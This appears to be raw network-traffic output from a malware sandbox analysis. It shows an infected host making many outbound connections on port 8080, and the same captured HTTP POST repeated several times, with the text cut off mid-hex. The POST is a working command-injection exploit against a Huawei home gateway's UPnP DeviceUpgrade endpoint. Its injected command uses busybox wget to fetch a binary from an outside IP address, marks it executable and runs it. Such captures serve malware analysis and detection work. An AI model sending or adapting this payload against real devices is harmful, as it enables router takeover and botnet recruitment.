Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.218.212.227:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.234.216.98:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.83.232.189:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.232.244.105:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.25.176.51:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.44.89.252:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.250.47.250:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.141.151.200:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.198.134.85:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.80.118.17:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.145.244.147:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.126.130.8:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.63.40.131:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.12.249.153:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.108.45.57:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.44.12.95:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.189.73.59:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.175.54.232:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.245.140.114:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.196.133.18:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.202.23.134:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.203.182.240:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.50.24.229:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.216.54.117:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.69.186.66:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.6.106.26:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.251.145.157:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.56.9.19:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.104.236.142:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.45.194.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.208.68.172:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.149.244.168:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.227.47.202:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.1.244.125:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.234.191.125:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.11.208.180:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.155.164.38:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.42.99.158:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.124.111.80:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.99.177.141:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.71.20.114:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.112.210.145:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.84.197.113:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.41.66.41:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.107.236.70:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.145.199.247:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.126.132.72:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.49.9.196:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.135.165.92:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.60.118.64:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.123.30.213:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.109.96.227:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.6.40.31:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.240.76.190:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.241.99.37:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.205.3.25:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.125.150.193:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.79.90.253:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.22.211.198:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.95.17.165:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.28.101.185:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.203.12.214:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.249.13.16:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.223.245.35:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.97.155.149:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.176.64.135:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.206.153.53:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.49.192.115:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.90.12.240:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.115.11.25:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.211.78.8:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.84.88.0:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.158.60.14:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.56.97.119:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.105.136.47:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.160.104.4:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.24.72.239:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.158.78.202:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.147.154.192:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.39.103.50:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.93.52.249:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.250.4.100:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.146.122.34:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.159.68.37:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.177.123.87:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.157.56.88:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.223.135.111:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.246.108.89:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.241.96.131:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.48.3.156:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.177.57.25:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.155.82.224:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.54.17.34:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.9.233.47:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.211.47.242:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.195.154.202:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.72.153.191:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.116.156.87:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.230.5.199:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.248.80.210:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.131.217.116:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.137.43.212:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.175.99.43:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.158.208.113:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.100.210.7:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.180.67.199:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.9.33.179:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.238.168.215:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.125.149.232:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.100.169.13:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.47.244.229:8080

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 